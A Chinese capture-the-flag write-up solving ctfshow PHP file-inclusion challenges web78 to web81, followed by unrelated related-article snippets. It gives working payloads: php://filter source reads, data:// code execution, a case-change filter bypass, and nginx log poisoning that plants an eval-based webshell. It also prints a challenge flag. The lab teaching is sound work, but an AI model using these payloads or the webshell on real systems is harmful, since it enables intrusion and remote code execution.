ctfshow文件包含web78~81
目录
web78
方法一:filter伪协议
方法二:input协议
方法三:data协议
web79
方法一:input协议
方法二:data协议
web80
方法一:input协议
方法二:日志包含getshell
web81
web78
if(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}
include函数执行file引入的文件,如果执行不成功,就高亮显示当前页面的源码。
可知这就是一个没有任何过滤的文件包含的题目。
方法一:filter伪协议
file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
filter伪协议构造payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base编码后的flag解密得到flag

方法二:input协议
php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 $_POST 与 $FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 $_POST 与 $FILES 中。

方法三:data协议
data也是利用文件包含漏洞,将输入的代码当作php文件执行。
data协议格式:
data://[<MIME-type>][;charset=<encoding>][;base64],<data>
构造payload:
?file=data://text/plain,<?php system('tac f*');?>
将我们输入的<?php system('tac f*');?>当作php文件来执行,以达到读取flag的目的。
web79
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
可以看到在上一道题的基础上,增加了对php字符串的过滤,但是值得注意的是,过滤是区分了大小写的,这就意味着,可以使用大小写绕过,但是这里的大小写绕过对input和data协议有用,对filter协议没有用。
方法一:input协议
将php改为Php

方法二:data协议
?file=data://text/plain,<?Php system('tac f*');?>
这里要将php改为大写的,但是上面的input协议就不用,这是因为我们的参数file是通过get方式传参的,str_replace函数检查也只是检查get方式传入的值,input协议中的php是通过post方式传参的,因此不用改,data协议的php是get方式传入的,于是需要大小写绕过。
web80
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
新增了对data的过滤,对data尝试了大小写绕过,发现绕过不了,于是data协议用不了,就只能用input协议了。

方法一:input协议

方法二:日志包含getshell
在了解过后,发现这道题还可以通过日志包含getshell的方法来做。
日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
首先要判断网站使用的什么服务:
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
查看web服务:

于是我们访问日志:
?file=/var/log/nginx/access.log

在user-agent添加木马
<?php @eval($_REQUEST['cmd']);?>

post传参,首先查看列表
cmd=system('ls');

可以看到目录下面有flag,直接cat查看
cmd=system('tac f*');
得到flag。
web81
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
过滤了冒号,伪协议不好用了,于是,这个题还是用web80的getshell方法,得到flag

ctfshow{333cb693-64d5-4c3e-b564-6fddb4621e1e}
相关文章:
ctfshow文件包含web78~81
目录 web78 方法一:filter伪协议 方法二:input协议 方法三:data协议 web79 方法一:input协议 方法二:data协议 web80 方法一:input协议 方法二:日志包含getshell web81 web78 if(isset($_GET[file]…...
鸿蒙生态认识
好的,让我们更深入地探讨鸿蒙生态的发展机遇、面临的挑战,以及未来的潜力。 对鸿蒙生态的认知与分析 鸿蒙系统作为一种新兴的操作系统,旨在打破设备之间的壁垒,打造一个更加连通的生态环境。以下是对其崛起的进一步分析…...
Hadoop-004-Big Data Tools插件的使用
一、Big Data Tools插件配置流程 1、安装Big Data Tools插件 以IntelliJ IDEA 2024.2.3为例打开setting, 搜索安装Big Data Tools插件后重启IDEA 2、Windows系统基础配置 Windows系统需要做一些基础设置,配合插件使用,将之前下载的hadoop-3.2.4.tar.gz 解压到D…...
linux8在线扩容/home目录
虚机新增1T磁盘 [rootrsb ~]# cat /etc/redhat-release Red Hat Enterprise Linux release 8.8 (Ootpa) [rootrsb ~]# vgs VG #PV #LV #SN Attr VSize VFree ol 2 3 0 wz--n- <2.00t 0 [rootrsb ~]# lvs LV VG Attr LSize Pool Origin Dat…...
【C/C++】模拟实现strcpy
学习目标: 使用代码模拟实现strcpy。 逻辑: strcpy 函数的返回类型是 void 即不返回数据。strcpy 函数的参数类型是 char* ,用于接收数组。strcpy 函数要把一个数组复制到另一个数组。 代码: #define _CRT_SECURE_NO_WARNINGS …...
网络编程番外——IO多路复用的应用说明
一、IO多路复用与多线程 IO多路复用,IO Multiplexing,其实就是在IO上进行监听处理导致线程被阻塞(如果非阻塞就必须不断的轮询,仍然是占用此线程),如果一个IO对应一个线程是不是太浪费了。而且在诸如网络I…...
【Java爬虫的淘宝寻宝记】—— 淘宝商品类目的“藏宝图”
引言: 在淘宝这个广袤的“商品宇宙”中,每一件商品都是一颗璀璨的星球,而商品类目就是连接这些星球的星际航道。今天,我们将派遣一位勇敢的Java爬虫宇航员,去揭开这些星际航道背后的秘密——商品类目。准备好了吗&…...
探索Python文档自动化的奥秘:揭开docxtpl库的神秘面纱
文章目录 探索Python文档自动化的奥秘:揭开docxtpl库的神秘面纱1. 背景介绍2. 库简介3. 安装指南4. 基础函数介绍5. 实际应用场景6. 常见问题及解决方案7. 总结 探索Python文档自动化的奥秘:揭开docxtpl库的神秘面纱 1. 背景介绍 在日常工作中…...
RabbitMQ的解耦、异步、削峰是什么?
RabbitMQ在分布式系统和微服务架构中起到了重要的作用,其特性可以实现解耦、异步以及削峰,下面是对这三个概念的详细解释: 1. 解耦 解耦是指使系统的不同组件间的依赖关系减少或消失。在使用RabbitMQ时,生产者(发送消…...
4:arm汇编语言4:bits/byte的介绍(ASCII码)与二进制补位
4.2 bits/byte的介绍与ASCII码的引入 这个是详细介绍计算机内部原理的基础,bits与byte其实这两个是计算机中非常重要的单位。首先看一下bits,它是一个基础的计算机单位。计算机单位?像长度单位是米,体重的单位是kg,你…...
C++实现仿安卓线程Handler、Message、Looper的功能
在java开发中,习惯使用Handler、Message来处理同步,比如对相机的操作(open、setParamters、start、stop、clost)全部抛到同一个线程处理,防止并发操作导致异常,这样保留给外部的统一接口就是安全的,无论外部哪些线程来…...
构建安全的用户登录API:从请求验证到JWT令牌生成
构建安全的用户登录API:从请求验证到JWT令牌生成 为了实现这个后端POST /api/users/login端点,我们可以使用Node.js和Express框架,并结合一些常用的库如jsonwebtoken、bcrypt和express-validator来处理验证和密码校验。下面是一个完整的示例…...
状态模式:封装对象状态并改变行为的设计模式
1. 引言 在软件开发中,某些对象的行为会随着其内部状态的变化而变化。传统的实现方式可能需要使用大量的条件语句,导致代码复杂且难以维护。状态模式(State Pattern)提供了一种有效的方法,通过将状态行为封装在状态类…...
备战“双11”丨AI+物流:你的快递会有什么变化?
背景 在中国,每天有数以亿计的包裹在运输,尤其在电商促销季如“双十一”、“618”期间,快递量更是激增。快递物流行业面临人员短缺、配送效率低下和物流承载能力有限等问题。快瞳科技提供的AI识别解决方案通过智能化手段提高工作效率和配送准…...
理解为什么要有C++设计模式
什么时设计模式? 每一个模式描述了一个在我们周围不断重复的问题以及该问题的解决方案的核心,这样,就能一次有一次地使用该方案,而不必做重复劳动。 如何解决复杂性? 分解:人们面对复杂性有一个常见的做法…...
模式匹配类型
一、匹配常量 在scala中,模式匹配可以匹配所有的字面量,包括字符串,字符,数字,布尔值等等 def describeConst(x:Any):String x match {case "str" > "匹配字符串"case > "匹配字符&…...
每天10个vue面试题(七)
1、Vue如何监听页面url中hash变化? 监听 $route 的变化:在Vue中,你可以使用watch属性来监听$route的变化。当路由发生变化时,会执行相应的处理函数。使用 window.location.hash:直接读取window.location.hash的值。这…...
如何在Linux系统中使用Apache HTTP Server
如何在Linux系统中使用Apache HTTP Server Apache简介 安装Apache 在Debian/Ubuntu系统中安装 在CentOS/RHEL系统中安装 启动Apache服务 验证Apache是否正在运行 访问Apache默认页面 配置Apache虚拟主机 创建虚拟主机配置文件 示例虚拟主机配置 创建网站根目录 准备静态网站内…...
C++基于opencv的视频质量检测--画面冻结检测
文章目录 0.引言1. 原始代码分析2. 优化方案3. 优化后的代码4. 代码详细解读 0.引言 视频质量画面冻结检测已在C基于opencv4的视频质量检测中有所介绍,本文将详细介绍其优化版本。 1. 原始代码分析 图像抖动检测的原始代码: bool ScreenFreezeDetect…...
Day22 opencv图像预处理
图像预处理 在计算机视觉和图像处理领域,图像预处理是一个重要的步骤,它能够提高后续处理(如特征提取、目标检测等)的准确性和效率。OpenCV 提供了许多图像预处理的函数和方法,常见的操作包括图像空间转换、图像大小调…...
1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...
江苏艾立泰跨国资源接力:废料变黄金的绿色供应链革命
在华东塑料包装行业面临限塑令深度调整的背景下,江苏艾立泰以一场跨国资源接力的创新实践,重新定义了绿色供应链的边界。 跨国回收网络:废料变黄金的全球棋局 艾立泰在欧洲、东南亚建立再生塑料回收点,将海外废弃包装箱通过标准…...
基于数字孪生的水厂可视化平台建设:架构与实践
分享大纲: 1、数字孪生水厂可视化平台建设背景 2、数字孪生水厂可视化平台建设架构 3、数字孪生水厂可视化平台建设成效 近几年,数字孪生水厂的建设开展的如火如荼。作为提升水厂管理效率、优化资源的调度手段,基于数字孪生的水厂可视化平台的…...
Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
MySQL 知识小结(一)
一、my.cnf配置详解 我们知道安装MySQL有两种方式来安装咱们的MySQL数据库,分别是二进制安装编译数据库或者使用三方yum来进行安装,第三方yum的安装相对于二进制压缩包的安装更快捷,但是文件存放起来数据比较冗余,用二进制能够更好管理咱们M…...
scikit-learn机器学习
# 同时添加如下代码, 这样每次环境(kernel)启动的时候只要运行下方代码即可: # Also add the following code, # so that every time the environment (kernel) starts, # just run the following code: import sys sys.path.append(/home/aistudio/external-libraries)机…...
Windows安装Miniconda
一、下载 https://www.anaconda.com/download/success 二、安装 三、配置镜像源 Anaconda/Miniconda pip 配置清华镜像源_anaconda配置清华源-CSDN博客 四、常用操作命令 Anaconda/Miniconda 基本操作命令_miniconda创建环境命令-CSDN博客...
STM32---外部32.768K晶振(LSE)无法起振问题
晶振是否起振主要就检查两个1、晶振与MCU是否兼容;2、晶振的负载电容是否匹配 目录 一、判断晶振与MCU是否兼容 二、判断负载电容是否匹配 1. 晶振负载电容(CL)与匹配电容(CL1、CL2)的关系 2. 如何选择 CL1 和 CL…...
Spring Security 认证流程——补充
一、认证流程概述 Spring Security 的认证流程基于 过滤器链(Filter Chain),核心组件包括 UsernamePasswordAuthenticationFilter、AuthenticationManager、UserDetailsService 等。整个流程可分为以下步骤: 用户提交登录请求拦…...
git: early EOF
macOS报错: Initialized empty Git repository in /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core/.git/ remote: Enumerating objects: 2691797, done. remote: Counting objects: 100% (1760/1760), done. remote: Compressing objects: 100% (636/636…...
